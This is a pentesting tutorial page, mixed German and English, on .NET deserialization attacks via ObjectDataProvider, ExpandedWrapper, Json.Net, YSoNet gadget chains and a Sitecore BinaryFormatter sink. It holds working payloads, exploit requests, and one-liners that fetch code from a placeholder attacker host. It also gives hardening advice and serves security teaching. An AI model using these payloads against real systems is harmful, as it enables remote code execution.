hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

15 KiB
Raw Blame History

Basic .Net Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

{{#include ../../banners/hacktricks-training.md}}

Dieser Beitrag widmet sich dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.

ObjectDataProvider Gadget

Aus der Dokumentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein beliebiges Objekt zu kapseln, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und dann mithilfe von MethodName eine beliebige Funktion des beliebigen Objekts mit den angegebenen Parametern aufzurufen.
Daher wird das beliebige Objekt während der Deserialisierung eine Funktion mit Parametern ausführen.

Wie ist das möglich

Der Namespace System.Windows.Data, zu finden in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.

Mit dnSpy kann man den Code der Klasse, die uns interessiert, inspizieren. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Wie Sie sehen können, wird beim Setzen von MethodName base.Refresh() aufgerufen. Schauen wir uns an, was das macht:

Ok, sehen wir uns an, was this.BeginQuery() macht. BeginQuery wird von ObjectDataProvider überschrieben und das ist, was es tut:

Beachte, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Schauen wir, was das ausführt:

Beachte, dass dies nicht der komplette Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex); auf — das ist die Zeile, in der die gesetzte Methode aufgerufen wird.

Wenn du überprüfen möchtest, dass allein das Setzen von MethodName** dazu führt, dass es ausgeführt wird**, kannst du diesen Code ausführen:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

Diese Klasse erlaubt es, spezifizieren die Objekttypen der Objekte, die in einer gegebenen Instanz gekapselt sind. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie zuvor gezeigt, weil wir in der Lage sein werden, einbetten _ObjectDataProvider** in einer **ExpandedWrapper _ Instanz und bei der Deserialisierung diese Klasse wird erstellen das OjectDataProvider Objekt, das die in MethodName angegebene Funktion ausführen wird.

You can check this wrapper with the following code:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Auf der official web page wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine RCE auslösen.

Json.Net Beispiel

Zunächst sehen wir uns ein Beispiel an, wie man mit dieser Bibliothek ein Objekt serialisieren/deserialisieren kann:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Missbrauch von Json.Net

Mit ysoserial.net habe ich den Exploit erstellt:

yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In diesem Code können Sie den Exploit testen, führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Die ObjectDataProvider + ExpandedWrapper technique, oben vorgestellt, ist nur eine von VIELEN gadget chains, die ausgenutzt werden können, wenn eine Anwendung unsafe .NET deserialization durchführt. Moderne red-team tooling wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von ready-to-use malicious object graphs für Dutzende von Gadgets und Serialisierungsformaten.

Nachfolgend eine komprimierte Referenz der nützlichsten Chains, die mit YSoNet geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zum Erzeugen der Payloads.

Gadget Chain Key Idea / Primitive Common Serializers YSoNet one-liner
TypeConfuseDelegate Korrumpiert den DelegateSerializationHolder-Datensatz, sodass der Delegate nach der Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start) BinaryFormatter, SoapFormatter, NetDataContractSerializer ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector Missbraucht System.Workflow.ComponentModel.ActivitySurrogateSelector, um die .NET ≥4.8 Typ-Filterung zu umgehen und direkt den Konstruktor einer bereitgestellten Klasse aufzurufen oder eine C#-Datei zur Laufzeit zu kompilieren BinaryFormatter, NetDataContractSerializer, LosFormatter ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour Nutzt die legacy XML-Darstellung von System.Data.DataSet, um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType>-Felder gefüllt werden (optional kann die Assembly mit --spoofedAssembly gefälscht werden) LosFormatter, BinaryFormatter, XmlSerializer ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults Auf WPF-fähigen Laufzeiten (> .NET 5) verknüpft es Property-Getter, bis System.CodeDom.Compiler.CompilerResults erreicht ist, und kompiliert oder lädt dann eine mit -c gelieferte DLL Json.NET typeless, MessagePack typeless ysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review) Verwendet WPF System.Windows.Data.ObjectDataProvider, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische --xamlurl-Variante hinzu, um bösartigen XAML remote zu hosten BinaryFormatter, Json.NET, XAML, etc. ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565) Betten ScriptBlock in System.Management.Automation.PSObject ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiert PowerShell remoting, BinaryFormatter ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

Tip

Alle Payloads werden standardmäßig auf stdout geschrieben, wodurch es trivial ist, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).

YSoNet bauen / installieren

Wenn keine vorkompilierten Binärdateien unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-Einzeiler eine Build-Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:

Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die kompilierte ysonet.exe befindet sich dann in ysonet/bin/Release/.

Erkennung & Härtung

  • Erkennen unerwarteter Kindprozesse von w3wp.exe, PowerShell.exe oder jedem Prozess, der benutzereingabebasierte Daten deserialisiert (z. B. MessagePack, Json.NET).
  • Aktiviere und erzwinge Type-Filtering (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.), wann immer der veraltete BinaryFormatter / NetDataContractSerializer nicht entfernt werden kann.
  • Wo möglich zu System.Text.Json oder DataContractJsonSerializer mit Whitelist-basierten Convertern migrieren.
  • Verhindere das Laden gefährlicher WPF-Assemblies (PresentationFramework, System.Workflow.*) in Webprozessen, die diese niemals benötigen sollten.

Praxisbeispiel: Sitecore convertToRuntimeHtml → BinaryFormatter

Ein praktischer .NET-Sink, der in authentifizierten Sitecore XP Content Editor-Flows erreichbar ist:

  • Sink API: Sitecore.Convert.Base64ToObject(string) kapselt new BinaryFormatter().Deserialize(...).
  • Auslösepfad: pipeline convertToRuntimeHtmlConvertWebControls, die nach einem Geschwisterelement mit id="{iframeId}_inner" sucht und ein value-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.

Minimaler EndtoEnd (authentifiziert):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: any BinaryFormatter chain returning a string (Nebeneffekte laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um payloads zu erzeugen.

Für eine vollständige Kette, die preauth mit HTML cache poisoning in Sitecore beginnt und zu diesem sink führt:

{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}

Referenzen

{{#include ../../banners/hacktricks-training.md}}